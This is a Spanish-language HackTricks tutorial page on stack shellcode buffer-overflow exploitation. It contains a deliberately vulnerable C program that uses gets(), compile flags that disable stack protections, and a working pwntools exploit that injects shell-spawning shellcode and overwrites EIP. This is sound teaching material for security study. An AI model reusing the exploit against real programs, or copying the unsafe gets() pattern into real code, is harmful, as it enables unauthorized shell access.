Stack Shellcode

Support HackTricks

Información Básica

Stack shellcode es una técnica utilizada en binary exploitation donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el Instruction Pointer (IP) o Extended Instruction Pointer (EIP) para apuntar a la ubicación de este shellcode, causando que se ejecute. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con pwntools.

Ejemplo en C: Un Programa Vulnerable

Comencemos con un ejemplo simple de un programa C vulnerable:

#include <stdio.h>
#include <string.h>

void vulnerable_function() {
char buffer[64];
gets(buffer); // Unsafe function that does not check for buffer overflow
}

int main() {
vulnerable_function();
printf("Returned safely\n");
return 0;
}

Este programa es vulnerable a un desbordamiento de búfer debido al uso de la función gets().

Compilación

Para compilar este programa deshabilitando varias protecciones (para simular un entorno vulnerable), puedes usar el siguiente comando:

gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
  • -fno-stack-protector: Desactiva la protección de pila.

  • -z execstack: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.

  • -no-pie: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode.

  • -m32: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.

Python Exploit usando Pwntools

Aquí te mostramos cómo podrías escribir un exploit en Python usando pwntools para realizar un ataque ret2shellcode:

from pwn import *

# Set up the process and context
binary_path = './vulnerable'
p = process(binary_path)
context.binary = binary_path
context.arch = 'i386' # Specify the architecture

# Generate the shellcode
shellcode = asm(shellcraft.sh()) # Using pwntools to generate shellcode for opening a shell

# Find the offset to EIP
offset = cyclic_find(0x6161616c) # Assuming 0x6161616c is the value found in EIP after a crash

# Prepare the payload
# The NOP slide helps to ensure that the execution flow hits the shellcode.
nop_slide = asm('nop') * (offset - len(shellcode))
payload = nop_slide + shellcode
payload += b'A' * (offset - len(payload))  # Adjust the payload size to exactly fill the buffer and overwrite EIP
payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide

# Send the payload
p.sendline(payload)
p.interactive()

Este script construye una carga útil que consiste en un NOP slide, el shellcode, y luego sobrescribe el EIP con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.

El NOP slide (asm('nop')) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento p32() a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.

Protecciones

  • ASLR debe estar deshabilitado para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.

  • Stack Canaries también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.

  • La protección de stack NX impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.

Otros Ejemplos y Referencias

Support HackTricks

Last updated